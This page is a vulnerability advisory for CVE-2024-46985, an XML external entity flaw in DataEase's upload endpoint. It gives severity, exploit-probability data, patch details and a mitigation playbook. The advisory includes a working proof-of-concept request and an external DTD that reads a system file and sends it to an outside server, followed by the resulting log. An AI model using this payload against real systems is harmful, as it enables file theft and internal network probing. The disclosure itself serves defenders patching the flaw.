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HIGH severity

CVE-2024-46985 — common

HIGH

CVE-2024-46985 is a high-severity (CVSS 7.5) XML External Entity (XXE) vulnerability in io.dataease:common. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for io.dataease:common — see the affected versions and patch details below.

DataEase has an XXE vulnerability

Also known asGHSA-4m9p-7xg6-f4mm
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Nov 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-46985.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs52th percentile — riskier than 52% of all scored CVEsHighest risk
0.00%0.39%0.78%1.17%0.3%0.7%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
☕io.dataease:common

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Impact

There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.

  1. send request:
POST /de2api/staticResource/upload/1 HTTP/1.1
Host: dataease.ubuntu20.vm
Content-Length: 348
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: jwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn

------WebKitFormBoundary6OZBNygiUCAZEbMn
Content-Disposition: form-data; name="file"; filename="1.svg"
Content-Type: a

<?xml version='1.0'?>
    <!DOCTYPE xxe [
        <!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'>
        %EvilDTD;
        %LoadOOBEnt;
        %OOB;
    ]>
------WebKitFormBoundary6OZBNygiUCAZEbMn--

// 1.dtd的内容
<!ENTITY % resource SYSTEM "file:///etc/alpine-release">
        <!ENTITY % LoadOOBEnt "<!ENTITY &#x25; OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>">
  1. After sending the request, the content of the file /etc/alpine-release is successfully read
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 -
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 -

Affected versions: <= 2.10.0

Patches

The vulnerability has been fixed in v2.10.1.

Workarounds

It is recommended to upgrade the version to v2.10.1.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/dataease/dataease Email us at [email protected]

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
☕Mavenio.dataease:commonall versions2.10.1io.dataease:common:2.10.1

Affected Products

1 product · 1 configurations
Application
dataeasedataease
< 2.10.1
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.dataease:common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update io.dataease:common to 2.10.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-46985 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Impact There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading. 1. send request: ``` POST /de2api/staticResource/upload/1 HTTP/1.1 Host: dataease.ubuntu20.vm Content-Length: 348 Accept: application/json, text/plain, */* out_auth_platform: default X-DE-TOKEN: jwt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
O3 Security · Impact-Aware SCA

Is CVE-2024-46985 in your dependencies?

Find it across Maven, including transitive dependencies.

CVE-2024-46985: common XXE — Fixed in 2.10.1